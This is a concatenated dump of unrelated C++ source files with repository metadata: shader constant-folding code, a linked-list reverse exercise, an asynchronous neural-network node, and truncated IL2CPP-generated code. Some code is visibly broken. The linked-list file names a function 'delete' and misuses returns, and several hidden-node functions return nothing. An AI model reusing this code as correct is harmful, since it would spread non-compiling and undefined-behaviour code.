leftUnionArray[i].setFConst(static_cast<float>(rightUnionArray[i].getBConst())); break; case EbtFloat: leftUnionArray[i] = rightUnionArray[i]; break; default: infoSink.info.message(EPrefixInternalError, "Cannot promote", node->getLine()); return 0; } break; case EbtInt: switch (node->getType().getBasicType()) { case EbtInt: leftUnionArray[i] = rightUnionArray[i]; break; case EbtBool: leftUnionArray[i].setIConst(static_cast<int>(rightUnionArray[i].getBConst())); break; case EbtFloat: leftUnionArray[i].setIConst(static_cast<int>(rightUnionArray[i].getFConst())); break; default: infoSink.info.message(EPrefixInternalError, "Cannot promote", node->getLine()); return 0; } break; case EbtBool: switch (node->getType().getBasicType()) { case EbtInt: leftUnionArray[i].setBConst(rightUnionArray[i].getIConst() != 0); break; case EbtBool: leftUnionArray[i] = rightUnionArray[i]; break; case EbtFloat: leftUnionArray[i].setBConst(rightUnionArray[i].getFConst() != 0.0f); break; default: infoSink.info.message(EPrefixInternalError, "Cannot promote", node->getLine()); return 0; } break; default: infoSink.info.message(EPrefixInternalError, "Incorrect data type found", node->getLine()); return 0; } } const TType& t = node->getType(); return addConstantUnion(leftUnionArray, TType(promoteTo, t.getPrecision(), t.getQualifier(), t.getNominalSize(), t.isMatrix(), t.isArray()), node->getLine()); } // static TString TIntermTraverser::hash(const TString& name, ShHashFunction64 hashFunction) { if (hashFunction == NULL || name.empty()) return name; #if defined(__clang__) #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wshorten-64-to-32" #endif khronos_uint64_t number = (*hashFunction)(name.c_str(), name.length()); #if defined(__clang__) #pragma clang diagnostic pop #endif TStringStream stream; stream << HASHED_NAME_PREFIX << std::hex << number; TString hashedName = stream.str(); return hashedName; }
[ "clement.lefebvre@linuxmint.com" ]
clement.lefebvre@linuxmint.com
fc52c0973a19484fddfb9186016791c63d4b4a1a
1428edcb2d2eec02d6014e3714d41e5ec860a852
/problems/linked_list_reverse.cpp
3c89d4ab787e92f546417e5421e49145675e02c4
[]
no_license
seongjaelee/techinterview
731cc03e8e7de119ee9622c0ecdd0a47185363c4
b850dd0592e825fbbc403b2d70dc425d6b8736b9
refs/heads/master
2020-12-30T11:14:41.573526
2014-01-16T06:18:14
2014-01-16T06:18:14
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,577
cpp
#include <cstddef> #include <iostream> struct Node { int item; Node * next; }; Node * reverse(Node * head) { Node * prev = NULL; Node * curr = NULL; Node * next = NULL; prev = NULL; curr = head; while (curr) { next = curr->next; curr->next = prev; prev = curr; curr = next; } return prev; } Node * delete(Node * head, Node * node_to_delete) { if (node_to_delete == head) { head = head->next; delete node_to_delete; return; } Node * node = head; while (node) { if (node->next == node_to_delete) { node->next = node->next->next; delete node_to_delete; return head; } node = node->next; } assert(false); } void print(Node * head) { Node * node = head; while (node) { std::cout << node->item << ":"; node = node->next; } std::cout << std::endl; } Node * create(int * arr, int n) { Node * head = NULL; for (int i = 0; i < n; ++i) { Node * node = new Node(); node->item = arr[i]; node->next = head; head = node; } return head; } void clean(Node * head) { Node * node = head; Node * next = NULL; while (node) { next = node->next; delete node; node = next; } } int main(int argc, const char ** argv) { int arr[10] = {0,1,2,3,4,5,6,7,8,9}; Node * head = create(arr, 10); print(head); head = reverse(head); print(head); clean(head); return 0; }
[ "seongjae@cs.washington.edu" ]
seongjae@cs.washington.edu
1e72016d1755c82a2f32655bedcb6ee01d27a70e
f9ae1ba26d3d93d9013197cbd28b08d14f8889f3
/src/nodes/async_nodes/async_hidden_node.cpp
7ad7b7f0c7e63cedcb7ef2202ed3376a0c64227a
[]
no_license
RDowse/Asynchronous-Deep-Learning
3242bf2d87728518a13e182471aae070698baa06
d6ae52f4f6647688486d9a47b474d5c6a991c712
refs/heads/master
2021-03-24T12:22:04.921517
2017-06-24T17:39:54
2017-06-24T17:39:54
71,652,508
0
0
null
null
null
null
UTF-8
C++
false
false
5,067
cpp
#include "nodes/async_nodes/async_hidden_node.h" #include "messages/forward_propagation_message.h" #include "messages/backward_propagation_message.h" std::string AsyncNeuralNode::HiddenNode::m_type = "Hidden"; void AsyncNeuralNode::HiddenNode::addEdge(Edge* e) { // add to original edge sets Node::addEdge(e); if(e->src->getId() == id){ if(e->dst->getId() > id){ // change based on type of edge. outgoingForwardEdges.push_back(e); dstWeightIndex[e->dst->getId()] = map_index++; } else { outgoingBackwardEdges.push_back(e); } } else if(e->dst->getId() == id){ if(e->src->getId() < id){ // change based on type of edge. incomingForwardEdges.push_back(e); } else { incomingBackwardEdges.push_back(e); } } } bool AsyncNeuralNode::HiddenNode::sendForwardMsgs(vector<Message*>& msgs) { if(!weights.size()) initWeights(); input *= float(incomingForwardEdges.size()/forwardSeenCount); // calulate output activation activation = input.unaryExpr(context->activationFnc); Eigen::MatrixXf mat; if(dataSetType != DataSetType::training && !dropout->unset() && dropout->isEnabled()) mat = 0.5*activation*weights.transpose(); // for dropout based on probability, TODO correct for prime (adjustable probability) else mat = activation*weights.transpose(); msgs.reserve(outgoingForwardEdges.size()); assert(weights.size() == outgoingForwardEdges.size()); for(unsigned i = 0; i < outgoingForwardEdges.size(); i++){ if(dropout->isNextLayerNodeActive(i)){ assert( 0 == outgoingForwardEdges[i]->msgStatus ); auto msg = forwardMessagePool->getMessage(); msg->src = id; msg->dst = outgoingForwardEdges[i]->dst->getId(); msg->batchNum = curr_forward_batch; msg->dataSetType = dataSetType; //if(context->epoch==context->maxEpoch-1) context->insertHist(mat.col(i)); msg->activation = mat.col(i); msgs.push_back(msg); numMessagesSentForward++; } } if(DataSetType::training == dataSetType) curr_forward_batch++; ready = false; // reset forwardSeenCount = 0; input.setZero(input.size()); if(dataSetType == DataSetType::training) swapState<BackwardTrainState<AsyncNeuralNode>>(); } bool AsyncNeuralNode::HiddenNode::sendBackwardMsgs(vector<Message*>& msgs){ int batchSize = receivedDelta.cols(); deltaWeights = context->lr*(receivedDelta * activation)/batchSize + context->alpha*deltaWeights; // with momentum // Calculate next delta value Eigen::VectorXf tmp = weights.transpose()*receivedDelta; Eigen::VectorXf delta2 = tmp.array() * activation.unaryExpr(context->deltaActivationFnc).array(); weights -= deltaWeights; // update step weights = context->regularizationFnc(weights, context->c); msgs.reserve(outgoingBackwardEdges.size()); for(unsigned i = 0; i < outgoingBackwardEdges.size(); i++){ if(dropout->isPrevLayerNodeActive(i)){ assert( 0 == outgoingBackwardEdges[i]->msgStatus ); auto msg = backwardMessagePool->getMessage(); msg->src = id; msg->dst = outgoingBackwardEdges[i]->dst->getId(); msg->batchNum = curr_backward_batch; msg->delta = delta2; msgs.push_back(msg); numMessagesSentBackward++; } } curr_backward_batch++; ready = false; // reset delta values receivedDelta.Zero(receivedDelta.rows(),receivedDelta.cols()); backwardSeenCount = 0; swapState<ForwardTrainState<AsyncNeuralNode>>(); } void AsyncNeuralNode::HiddenNode::onRecv(ForwardPropagationMessage* msg) { if(input.size() != msg->activation.size()) input = Eigen::VectorXf::Zero(msg->activation.size()); if(forwardDiscardMsgCheck(msg)) return; input += msg->activation; dataSetType = msg->dataSetType; if(dataSetType==DataSetType::training) dropout->setEnabled(true); else dropout->setEnabled(false); if(!dropout->unset() && msg->batchNum > batchNum && dataSetType==DataSetType::training){ dropout->nextStep(msg->batchNum); batchNum = msg->batchNum; curr_forward_batch = msg->batchNum; curr_backward_batch = msg->batchNum; } forwardSeenCount++; forwardMessagePool->returnMessage(msg); } void AsyncNeuralNode::HiddenNode::onRecv(BackwardPropagationMessage* msg) { assert(!dropout->isEnabled() || dropout->isActive()); if(receivedDelta.cols() != msg->delta.size()) receivedDelta = Eigen::MatrixXf::Zero(weights.size(),msg->delta.size()); if(backwardDiscardMsgCheck(msg)) return; int index = dstWeightIndex[msg->src]; receivedDelta.row(index) = msg->delta; backwardSeenCount++; backwardMessagePool->returnMessage(msg); }
[ "rd613@imperial.ac.uk" ]
rd613@imperial.ac.uk
af2bc00547dd839bb73b6d8e455946938c8a10d0
479201773f3728bf6b8506bb8b8b512628b48fca
/App/Il2CppOutputProject/Source/il2cppOutput/Bulk_System_2.cpp
7dee889abfa95731ae6cc8c1413b4a773a0233ed
[]
no_license
CUSuits/CUTEE2020v2
62f9f6f699d8eaaade193a5bec8b6448e5c0a6e3
b10482172b0f97fbf2fbc418687232426b0ad29f
refs/heads/master
2021-04-07T05:16:12.555842
2020-04-02T23:11:02
2020-04-02T23:11:02
248,649,282
6
2
null
2020-04-03T01:31:40
2020-03-20T02:20:04
C++
UTF-8
C++
false
false
336,034
cpp
#include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include <cstring> #include <string.h> #include <stdio.h> #include <cmath> #include <limits> #include <assert.h> #include <stdint.h> #include "il2cpp-class-internals.h" #include "codegen/il2cpp-codegen.h" #include "il2cpp-object-internals.h" template <typename R, typename T1, typename T2, typename T3, typename T4> struct VirtFuncInvoker4 { typedef R (*Func)(void*, T1, T2, T3, T4, const RuntimeMethod*); static inline R Invoke (Il2CppMethodSlot slot, RuntimeObject* obj, T1 p1, T2 p2, T3 p3, T4 p4) { const VirtualInvokeData& invokeData = il2cpp_codegen_get_virtual_invoke_data(slot, obj); return ((Func)invokeData.methodPtr)(obj, p1, p2, p3, p4, invokeData.method); } }; template <typename R> struct VirtFuncInvoker0 { typedef R (*Func)(void*, const RuntimeMethod*); static inline R Invoke (Il2CppMethodSlot slot, RuntimeObject* obj) { const VirtualInvokeData& invokeData = il2cpp_codegen_get_virtual_invoke_data(slot, obj); return ((Func)invokeData.methodPtr)(obj, invokeData.method); } }; template <typename R, typename T1, typename T2, typename T3, typename T4, typename T5> struct VirtFuncInvoker5 { typedef R (*Func)(void*, T1, T2, T3, T4, T5, const RuntimeMethod*); static inline R Invoke (Il2CppMethodSlot slot, RuntimeObject* obj, T1 p1, T2 p2, T3 p3, T4 p4, T5 p5) { const VirtualInvokeData& invokeData = il2cpp_codegen_get_virtual_invoke_data(slot, obj); return ((Func)invokeData.methodPtr)(obj, p1, p2, p3, p4, p5, invokeData.method); } }; template <typename R, typename T1, typename T2, typename T3> struct VirtFuncInvoker3 { typedef R (*Func)(void*, T1, T2, T3, const RuntimeMethod*); static inline R Invoke (Il2CppMethodSlot slot, RuntimeObject* obj, T1 p1, T2 p2, T3 p3) { const VirtualInvokeData& invokeData = il2cpp_codegen_get_virtual_invoke_data(slot, obj); return ((Func)invokeData.methodPtr)(obj, p1, p2, p3, invokeData.method); } }; template <typename T1, typename T2> struct VirtActionInvoker2 { typedef void (*Action)(void*, T1, T2, const RuntimeMethod*); static inline void Invoke (Il2CppMethodSlot slot, RuntimeObject* obj, T1 p1, T2 p2) { const VirtualInvokeData& invokeData = il2cpp_codegen_get_virtual_invoke_data(slot, obj); ((Action)invokeData.methodPtr)(obj, p1, p2, invokeData.method); } }; // System.ArgumentOutOfRangeException struct ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA; // System.Byte[] struct ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821; // System.Char[] struct CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2; // System.Collections.Generic.Dictionary`2/Entry<System.String,System.UriParser>[] struct EntryU5BU5D_t78690744AC973DECF2010068DBDBD973FD216AAF; // System.Collections.Generic.Dictionary`2/KeyCollection<System.String,System.UriParser> struct KeyCollection_t0A494A02669573F9DB0645810A3CE95699AF12CF; // System.Collections.Generic.Dictionary`2/ValueCollection<System.String,System.UriParser> struct ValueCollection_tB32C5B99C1808F9DF958AF03D289C64F31A50E38; // System.Collections.Generic.Dictionary`2<System.Object,System.Object> struct Dictionary_2_t32F25F093828AA9F93CB11C2A2B4648FD62A09BA; // System.Collections.Generic.Dictionary`2<System.String,System.Int32> struct Dictionary_2_tD6E204872BA9FD506A0287EF68E285BEB9EC0DFB; // System.Collections.Generic.Dictionary`2<System.String,System.UriParser> struct Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE; // System.Collections.Generic.IEqualityComparer`1<System.String> struct IEqualityComparer_1_t1F07EAC22CC1D4F279164B144240E4718BD7E7A9; // System.Collections.Hashtable struct Hashtable_t978F65B8006C8F5504B286526AEC6608FF983FC9; // System.Collections.IDictionary struct IDictionary_t1BD5C1546718A374EA8122FBD6C6EE45331E8CE7; // System.ComponentModel.TypeConverter struct TypeConverter_t8306AE03734853B551DDF089C1F17836A7764DBB; // System.Diagnostics.StackTrace[] struct StackTraceU5BU5D_t855F09649EA34DEE7C1B6F088E0538E3CCC3F196; // System.Exception struct Exception_t; // System.FormatException struct FormatException_t2808E076CDE4650AF89F55FD78F49290D0EC5BDC; // System.Globalization.CodePageDataItem struct CodePageDataItem_t6E34BEE9CCCBB35C88D714664633AF6E5F5671FB; // System.Int32[] struct Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83; // System.IntPtr[] struct IntPtrU5BU5D_t4DC01DCB9A6DF6C9792A6513595D7A11E637DCDD; // System.InvalidOperationException struct InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1; // System.Object[] struct ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A; // System.PlatformNotSupportedException struct PlatformNotSupportedException_t14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5; // System.Reflection.Binder struct Binder_t4D5CB06963501D32847C057B57157D6DC49CA759; // System.Reflection.MemberFilter struct MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381; // System.Runtime.Serialization.IFormatterConverter struct IFormatterConverter_tC3280D64D358F47EA4DAF1A65609BA0FC081888A; // System.Runtime.Serialization.SafeSerializationManager struct SafeSerializationManager_t4A754D86B0F784B18CBC36C073BA564BED109770; // System.Runtime.Serialization.SerializationInfo struct SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26; // System.String struct String_t; // System.String[] struct StringU5BU5D_t933FB07893230EA91C40FF900D5400665E87B14E; // System.Text.DecoderFallback struct DecoderFallback_t128445EB7676870485230893338EF044F6B72F60; // System.Text.DecoderReplacementFallback struct DecoderReplacementFallback_t8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742; // System.Text.EncoderFallback struct EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63; // System.Text.EncoderReplacementFallback struct EncoderReplacementFallback_tC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998; // System.Text.Encoding struct Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4; // System.Type struct Type_t; // System.Type[] struct TypeU5BU5D_t7FE623A666B49176DE123306221193E888A12F5F; // System.Uri struct Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E; // System.Uri/MoreInfo struct MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5; // System.Uri/UriInfo struct UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E; // System.UriFormatException struct UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A; // System.UriParser struct UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC; // System.UriParser/BuiltInUriParser struct BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B; // System.UriTypeConverter struct UriTypeConverter_t96793526764A246FBAEE2F4F639AFAF270EE81D1; // System.Void struct Void_t22962CB4C05B1D89B55A6E1139F0E87A90987017; extern RuntimeClass* ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA_il2cpp_TypeInfo_var; extern RuntimeClass* BinaryCompatibility_t06B1B8D34764DB1710459778EB22433728A665A8_il2cpp_TypeInfo_var; extern RuntimeClass* BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var; extern RuntimeClass* ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821_il2cpp_TypeInfo_var; extern RuntimeClass* CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2_il2cpp_TypeInfo_var; extern RuntimeClass* Char_tBF22D9FC341BE970735250BB6FF1A4A92BBA58B9_il2cpp_TypeInfo_var; extern RuntimeClass* DecoderReplacementFallback_t8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742_il2cpp_TypeInfo_var; extern RuntimeClass* Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE_il2cpp_TypeInfo_var; extern RuntimeClass* EncoderReplacementFallback_tC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998_il2cpp_TypeInfo_var; extern RuntimeClass* Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4_il2cpp_TypeInfo_var; extern RuntimeClass* InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1_il2cpp_TypeInfo_var; extern RuntimeClass* Math_tFB388E53C7FDC6FCCF9A19ABF5A4E521FBD52E19_il2cpp_TypeInfo_var; extern RuntimeClass* ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A_il2cpp_TypeInfo_var; extern RuntimeClass* PlatformNotSupportedException_t14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5_il2cpp_TypeInfo_var; extern RuntimeClass* String_t_il2cpp_TypeInfo_var; extern RuntimeClass* TypeConverter_t8306AE03734853B551DDF089C1F17836A7764DBB_il2cpp_TypeInfo_var; extern RuntimeClass* UriComponents_tE42D5229291668DE73323E1C519E4E1459A64CFF_il2cpp_TypeInfo_var; extern RuntimeClass* UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A_il2cpp_TypeInfo_var; extern RuntimeClass* UriHelper_tA44F3057604BAA4E6EF06A8EE4E6825D471592DF_il2cpp_TypeInfo_var; extern RuntimeClass* UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var; extern RuntimeClass* Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_il2cpp_TypeInfo_var; extern RuntimeField* U3CPrivateImplementationDetailsU3E_tD3F45A95FC1F3A32916F221D83F290D182AD6291____59F5BD34B6C013DEACC784F69C67E95150033A84_0_FieldInfo_var; extern String_t* _stringLiteral0765DEEFD5C1509444309BD8D09E7ACA927165F8; extern String_t* _stringLiteral12B6FF7C47BB4C2C973EF6E38B06B1AD0DACA96F; extern String_t* _stringLiteral1457B75DC8C5500C0F1D4503CF801B60DEB045A4; extern String_t* _stringLiteral1F8A1C4B94F61170B94E9FD827F36A60174238C7; extern String_t* _stringLiteral2028E589D6BB0C12D880EFA6E4DAB4AF32821B19; extern String_t* _stringLiteral22E9F56882C87C3DA193BE3FE6D8C77FFDAF27BC; extern String_t* _stringLiteral3AE3AD09884E848958DF67AFEC6B436733CEB84C; extern String_t* _stringLiteral3C6BDCDDC94F64BF77DEB306AAE490A90A6FC300; extern String_t* _stringLiteral4188736A00FBFB506ACA06281ACF338290455C21; extern String_t* _stringLiteral422C2FC455DA8AB1CCF099E014DADE733913E48A; extern String_t* _stringLiteral48E3462CBEEDD9B70CED95702E2E262CEBA217DA; extern String_t* _stringLiteral4931F5B26E4E3B67A69DCEAE7622810683E83201; extern String_t* _stringLiteral5D7FEFA52F916FB1F734F27D1226BA1556F23E16; extern String_t* _stringLiteral5E6A1BC91A4C36E5A0E45B3C8F8A2CF3F48785C5; extern String_t* _stringLiteral61A135089EAC561A2FF7CEDEEFB03975BED000F8; extern String_t* _stringLiteral666948CC54CBC3FC2C70107A835E27C872F476E6; extern String_t* _stringLiteral685AA46800DA1134A27CF09D92AB8FB9481ABE68; extern String_t* _stringLiteral7608E1FF0B8CFEF39D687771BAC4DCB767C2C102; extern String_t* _stringLiteral7616BB87BD05F6439E3672BA1B2BE55D5BEB68B3; extern String_t* _stringLiteral77B5F8E343A90F6F597751021FB8B7A08FE83083; extern String_t* _stringLiteral785987648F85190CFDE9EADC69FC7C46FE8A7433; extern String_t* _stringLiteral8313799DB2EC33E29A24C7AA3B2B19EE6B301F73; extern String_t* _stringLiteral971C419DD609331343DEE105FFFD0F4608DC0BF2; extern String_t* _stringLiteralBA2B0DD158763C472A7D7B22AEF6FF6571B9365C; extern String_t* _stringLiteralC212F08ED1157AE268FD83D142AFD5CCD48664B2; extern String_t* _stringLiteralC3437DBC7C1255D3A21D444D86EBF2E9234C22BD; extern String_t* _stringLiteralDA39A3EE5E6B4B0D3255BFEF95601890AFD80709; extern String_t* _stringLiteralFE710CD089CB0BA74F588270FE079A392B5E9810; extern const RuntimeMethod* Dictionary_2_TryGetValue_mB7FEE5E187FD932CA98FA958AFCC096E123BCDC4_RuntimeMethod_var; extern const RuntimeMethod* Dictionary_2__ctor_m9AA6FFC23A9032DF2BF483986951F06E722B3445_RuntimeMethod_var; extern const RuntimeMethod* Dictionary_2_get_Count_mEC5A51E9EC624CA697AFE307D4CD767026962AE3_RuntimeMethod_var; extern const RuntimeMethod* Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var; extern const RuntimeMethod* ThrowStub_ThrowNotSupportedException_mF1DE187697F740D8C18B8966BBEB276878CD86FD_RuntimeMethod_var; extern const RuntimeMethod* UriHelper_EscapeString_mF0077A016F05127923308DF7E7E99BD7B9837E8B_RuntimeMethod_var; extern const RuntimeMethod* UriHelper_UnescapeString_mD4815AEAF34E25D31AA4BB4A76B88055F0A49E89_RuntimeMethod_var; extern const RuntimeMethod* UriParser_GetComponents_m8A226F43638FA7CD135A651CDE3D4E475E8FC181_RuntimeMethod_var; extern const RuntimeMethod* UriParser_Resolve_mF21D3AA42AB1EC2B173617D76E4041EB3481D979_RuntimeMethod_var; extern const uint32_t BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C_MetadataUsageId; extern const uint32_t ThrowStub_ThrowNotSupportedException_mF1DE187697F740D8C18B8966BBEB276878CD86FD_MetadataUsageId; extern const uint32_t UriHelper_EnsureDestinationSize_m64F4907D0411AAAD1C05E0AD0D2EB120DCBA9217_MetadataUsageId; extern const uint32_t UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902_MetadataUsageId; extern const uint32_t UriHelper_EscapeString_mF0077A016F05127923308DF7E7E99BD7B9837E8B_MetadataUsageId; extern const uint32_t UriHelper_Is3986Unreserved_m3799F2ADA8C63DDB4995F82B974C8EC1DEEBA76A_MetadataUsageId; extern const uint32_t UriHelper_IsReservedUnreservedOrHash_m3D7256DABA7F540F8D379FC1D1C54F1C63E46059_MetadataUsageId; extern const uint32_t UriHelper_IsUnreserved_mAADC7DCEEA864AFB49311696ABBDD76811FAAE48_MetadataUsageId; extern const uint32_t UriHelper_MatchUTF8Sequence_m4835D9BB77C2701643B14D6FFD3D7057F8C9007F_MetadataUsageId; extern const uint32_t UriHelper_UnescapeString_mC172F713349E3D22985A92BC4F5B51D0BCEE61AF_MetadataUsageId; extern const uint32_t UriHelper_UnescapeString_mD4815AEAF34E25D31AA4BB4A76B88055F0A49E89_MetadataUsageId; extern const uint32_t UriHelper__cctor_m9537B8AAAA1D6EF77D29A179EC79F5511C662F27_MetadataUsageId; extern const uint32_t UriParser_FindOrFetchAsUnknownV1Syntax_m3A57CA15FE27DC7982F186E8321B810B56EBD9AD_MetadataUsageId; extern const uint32_t UriParser_GetComponents_m8A226F43638FA7CD135A651CDE3D4E475E8FC181_MetadataUsageId; extern const uint32_t UriParser_Resolve_mF21D3AA42AB1EC2B173617D76E4041EB3481D979_MetadataUsageId; extern const uint32_t UriParser__cctor_m00C2855D5C8C07790C5627BBB90AC84A7E8B6BC2_MetadataUsageId; extern const uint32_t UriParser__ctor_mAF168F2B88BC5301B722C1BAAD45E381FBA22E3D_MetadataUsageId; extern const uint32_t UriParser_get_ShouldUseLegacyV2Quirks_mD4C8DF67677ACCCC3B5E026099ECC0BDA24D96DD_MetadataUsageId; extern const uint32_t UriTypeConverter__ctor_m1CAEEF1C615B28212B83C76D892938E0A77D3A64_MetadataUsageId; struct Exception_t_marshaled_com; struct Exception_t_marshaled_pinvoke; struct ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821; struct CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2; struct ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A; #ifndef RUNTIMEOBJECT_H #define RUNTIMEOBJECT_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Object #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // RUNTIMEOBJECT_H struct Il2CppArrayBounds; #ifndef RUNTIMEARRAY_H #define RUNTIMEARRAY_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Array #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // RUNTIMEARRAY_H #ifndef DICTIONARY_2_TB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE_H #define DICTIONARY_2_TB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Collections.Generic.Dictionary`2<System.String,System.UriParser> struct Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE : public RuntimeObject { public: // System.Int32[] System.Collections.Generic.Dictionary`2::buckets Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83* ___buckets_0; // System.Collections.Generic.Dictionary`2_Entry<TKey,TValue>[] System.Collections.Generic.Dictionary`2::entries EntryU5BU5D_t78690744AC973DECF2010068DBDBD973FD216AAF* ___entries_1; // System.Int32 System.Collections.Generic.Dictionary`2::count int32_t ___count_2; // System.Int32 System.Collections.Generic.Dictionary`2::version int32_t ___version_3; // System.Int32 System.Collections.Generic.Dictionary`2::freeList int32_t ___freeList_4; // System.Int32 System.Collections.Generic.Dictionary`2::freeCount int32_t ___freeCount_5; // System.Collections.Generic.IEqualityComparer`1<TKey> System.Collections.Generic.Dictionary`2::comparer RuntimeObject* ___comparer_6; // System.Collections.Generic.Dictionary`2_KeyCollection<TKey,TValue> System.Collections.Generic.Dictionary`2::keys KeyCollection_t0A494A02669573F9DB0645810A3CE95699AF12CF * ___keys_7; // System.Collections.Generic.Dictionary`2_ValueCollection<TKey,TValue> System.Collections.Generic.Dictionary`2::values ValueCollection_tB32C5B99C1808F9DF958AF03D289C64F31A50E38 * ___values_8; // System.Object System.Collections.Generic.Dictionary`2::_syncRoot RuntimeObject * ____syncRoot_9; public: inline static int32_t get_offset_of_buckets_0() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ___buckets_0)); } inline Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83* get_buckets_0() const { return ___buckets_0; } inline Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83** get_address_of_buckets_0() { return &___buckets_0; } inline void set_buckets_0(Int32U5BU5D_t2B9E4FDDDB9F0A00EC0AC631BA2DA915EB1ECF83* value) { ___buckets_0 = value; Il2CppCodeGenWriteBarrier((&___buckets_0), value); } inline static int32_t get_offset_of_entries_1() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ___entries_1)); } inline EntryU5BU5D_t78690744AC973DECF2010068DBDBD973FD216AAF* get_entries_1() const { return ___entries_1; } inline EntryU5BU5D_t78690744AC973DECF2010068DBDBD973FD216AAF** get_address_of_entries_1() { return &___entries_1; } inline void set_entries_1(EntryU5BU5D_t78690744AC973DECF2010068DBDBD973FD216AAF* value) { ___entries_1 = value; Il2CppCodeGenWriteBarrier((&___entries_1), value); } inline static int32_t get_offset_of_count_2() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ___count_2)); } inline int32_t get_count_2() const { return ___count_2; } inline int32_t* get_address_of_count_2() { return &___count_2; } inline void set_count_2(int32_t value) { ___count_2 = value; } inline static int32_t get_offset_of_version_3() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ___version_3)); } inline int32_t get_version_3() const { return ___version_3; } inline int32_t* get_address_of_version_3() { return &___version_3; } inline void set_version_3(int32_t value) { ___version_3 = value; } inline static int32_t get_offset_of_freeList_4() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ___freeList_4)); } inline int32_t get_freeList_4() const { return ___freeList_4; } inline int32_t* get_address_of_freeList_4() { return &___freeList_4; } inline void set_freeList_4(int32_t value) { ___freeList_4 = value; } inline static int32_t get_offset_of_freeCount_5() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ___freeCount_5)); } inline int32_t get_freeCount_5() const { return ___freeCount_5; } inline int32_t* get_address_of_freeCount_5() { return &___freeCount_5; } inline void set_freeCount_5(int32_t value) { ___freeCount_5 = value; } inline static int32_t get_offset_of_comparer_6() { return static_cast<int32_t>(offsetof(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE, ___comparer_6)); } inline RuntimeObject* get_comparer_6() const { return ___comparer_6; } inline RuntimeObject** get_address_of_comparer_6() { return &___comparer_6; } inline void set_comparer_6(RuntimeObject* value) { ___comparer_6 = value; 